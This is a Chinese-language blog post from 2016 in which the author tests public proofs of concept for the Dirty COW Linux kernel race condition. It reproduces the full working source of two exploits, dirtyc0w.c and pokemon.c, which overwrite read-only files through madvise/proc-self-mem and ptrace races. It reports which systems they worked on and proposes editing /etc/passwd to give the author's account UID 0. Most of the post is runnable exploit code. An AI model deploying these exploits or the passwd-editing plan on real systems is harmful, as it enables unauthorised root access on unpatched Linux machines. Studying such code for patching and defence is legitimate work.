dirtycow漏洞

dirtycow漏洞,原理还没看懂,找了几个PoC实验了一下。

dirtyc0w.c我在CentOS和Kali上都失败了

pokemon.c在CentOS上成功修改了只读文件,不过修改的不是很顺利,结尾总是有其他字符。

dirtyc0w.c

  1 /*
  2 ####################### dirtyc0w.c #######################
  3 $ sudo -s
  4 # echo this is not a test > foo
  5 # chmod 0404 foo
  6 $ ls -lah foo
  7 -r-----r-- 1 root root 19 Oct 20 15:23 foo
  8 $ cat foo
  9 this is not a test
 10 $ gcc -pthread dirtyc0w.c -o dirtyc0w
 11 $ ./dirtyc0w foo m00000000000000000
 12 mmap 56123000
 13 madvise 0
 14 procselfmem 1800000000
 15 $ cat foo
 16 m00000000000000000
 17 ####################### dirtyc0w.c #######################
 18 */
 19 #include <stdio.h>
 20 #include <sys/mman.h>
 21 #include <fcntl.h>
 22 #include <pthread.h>
 23 #include <unistd.h>
 24 #include <sys/stat.h>
 25 #include <string.h>
 26 #include <stdint.h>
 27 
 28 void *map;
 29 int f;
 30 struct stat st;
 31 char *name;
 32  
 33 void *madviseThread(void *arg)
 34 {
 35   char *str;
 36   str=(char*)arg;
 37   int i,c=0;
 38   for(i=0;i<100000000;i++)
 39   {
 40 /*
 41 You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
 42 > This is achieved by racing the madvise(MADV_DONTNEED) system call
 43 > while having the page of the executable mmapped in memory.
 44 */
 45     c+=madvise(map,100,MADV_DONTNEED);
 46   }
 47   printf("madvise %d\n\n",c);
 48 }
 49  
 50 void *procselfmemThread(void *arg)
 51 {
 52   char *str;
 53   str=(char*)arg;
 54 /*
 55 You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
 56 >  The in the wild exploit we are aware of doesn't work on Red Hat
 57 >  Enterprise Linux 5 and 6 out of the box because on one side of
 58 >  the race it writes to /proc/self/mem, but /proc/self/mem is not
 59 >  writable on Red Hat Enterprise Linux 5 and 6.
 60 */
 61   int f=open("/proc/self/mem",O_RDWR);
 62   int i,c=0;
 63   for(i=0;i<100000000;i++) {
 64 /*
 65 You have to reset the file pointer to the memory position.
 66 */
 67     lseek(f,(uintptr_t) map,SEEK_SET);
 68     c+=write(f,str,strlen(str));
 69   }
 70   printf("procselfmem %d\n\n", c);
 71 }
 72  
 73  
 74 int main(int argc,char *argv[])
 75 {
 76 /*
 77 You have to pass two arguments. File and Contents.
 78 */
 79   if (argc<3) {
 80   (void)fprintf(stderr, "%s\n",
 81       "usage: dirtyc0w target_file new_content");
 82   return 1; }
 83   pthread_t pth1,pth2;
 84 /*
 85 You have to open the file in read only mode.
 86 */
 87   f=open(argv[1],O_RDONLY);
 88   fstat(f,&st);
 89   name=argv[1];
 90 /*
 91 You have to use MAP_PRIVATE for copy-on-write mapping.
 92 > Create a private copy-on-write mapping.  Updates to the
 93 > mapping are not visible to other processes mapping the same
 94 > file, and are not carried through to the underlying file.  It
 95 > is unspecified whether changes made to the file after the
 96 > mmap() call are visible in the mapped region.
 97 */
 98 /*
 99 You have to open with PROT_READ.
100 */
101   map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
102   printf("mmap %zx\n\n",(uintptr_t) map);
103 /*
104 You have to do it on two threads.
105 */
106   pthread_create(&pth1,NULL,madviseThread,argv[1]);
107   pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
108 /*
109 You have to wait for the threads to finish.
110 */
111   pthread_join(pth1,NULL);
112   pthread_join(pth2,NULL);
113   return 0;
114 }

 

pokemon.c

 1 // $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball
 2 #include <fcntl.h>                        //// pikachu
 3 #include <pthread.h>                      //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball
 4 #include <string.h>                       //// pokeball
 5 #include <stdio.h>                        ////    (___)
 6 #include <stdint.h>                       ////    (o o)_____/
 7 #include <sys/mman.h>                     ////     @@ `     \ 
 8 #include <sys/types.h>                    ////      \ ____, /miltank
 9 #include <sys/stat.h>                     ////      //    //
10 #include <sys/wait.h>                     ////     ^^    ^^
11 #include <sys/ptrace.h>                   //// mmap bc757000
12 #include <unistd.h>                       //// madvise 0
13 ////////////////////////////////////////////// ptrace 0
14 ////////////////////////////////////////////// miltank
15 //////////////////////////////////////////////
16 int f                                      ;// file descriptor
17 void *map                                  ;// memory map
18 pid_t pid                                  ;// process id
19 pthread_t pth                              ;// thread
20 struct stat st                             ;// file info
21 //////////////////////////////////////////////
22 void *madviseThread(void *arg)             {// madvise thread
23   int i,c=0                                ;// counters
24   for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8
25     c+=madvise(map,100,MADV_DONTNEED)      ;// race condition
26   printf("madvise %d\n\n",c)               ;// sum of errors
27                                            }// /madvise thread
28 //////////////////////////////////////////////
29 int main(int argc,char *argv[])            {// entrypoint
30   if(argc<3)return 1                       ;// ./d file contents
31   printf("%s                               \n\
32    (___)                                   \n\
33    (o o)_____/                             \n\
34     @@ `     \\                            \n\
35      \\ ____, /%s                          \n\
36      //    //                              \n\
37     ^^    ^^                               \n\
38 ", argv[1], argv[2])                       ;// dirty cow
39   f=open(argv[1],O_RDONLY)                 ;// open read only file
40   fstat(f,&st)                             ;// stat the fd
41   map=mmap(NULL                            ,// mmap the file
42            st.st_size+sizeof(long)         ,// size is filesize plus padding
43            PROT_READ                       ,// read-only
44            MAP_PRIVATE                     ,// private mapping for cow
45            f                               ,// file descriptor
46            0)                              ;// zero
47   printf("mmap %lx\n\n",(unsigned long)map);// sum of error code
48   pid=fork()                               ;// fork process
49   if(pid)                                  {// if parent
50     waitpid(pid,NULL,0)                    ;// wait for child
51     int u,i,o,c=0,l=strlen(argv[2])        ;// util vars (l=length)
52     for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l
53       for(o=0;o<l;o++)//////////////////////// repeat for each byte
54         for(u=0;u<10000;u++)////////////////// try 10K times each time
55           c+=ptrace(PTRACE_POKETEXT        ,// inject into memory
56                     pid                    ,// process id
57                     map+o                  ,// address
58                     *((long*)(argv[2]+o))) ;// value
59     printf("ptrace %d\n\n",c)              ;// sum of error code
60                                            }// otherwise
61   else                                     {// child
62     pthread_create(&pth                    ,// create new thread
63                    NULL                    ,// null
64                    madviseThread           ,// run madviseThred
65                    NULL)                   ;// null
66     ptrace(PTRACE_TRACEME)                 ;// stat ptrace on child
67     kill(getpid(),SIGSTOP)                 ;// signal parent
68     pthread_join(pth,NULL)                 ;// wait for thread
69                                            }// / child
70   return 0                                 ;// return
71                                            }// / entrypoint
72 //////////////////////////////////////////////

 

提权的思路大概是修改/etc/passwd然后给自己的账户的UID改成0。目前用pokemon.c写入大段文字只写了一行,没有换行,可能是\n\r这种问题。

 

posted @ 2016-11-22 15:02  Helica  阅读(3543)  评论(0编辑  收藏  举报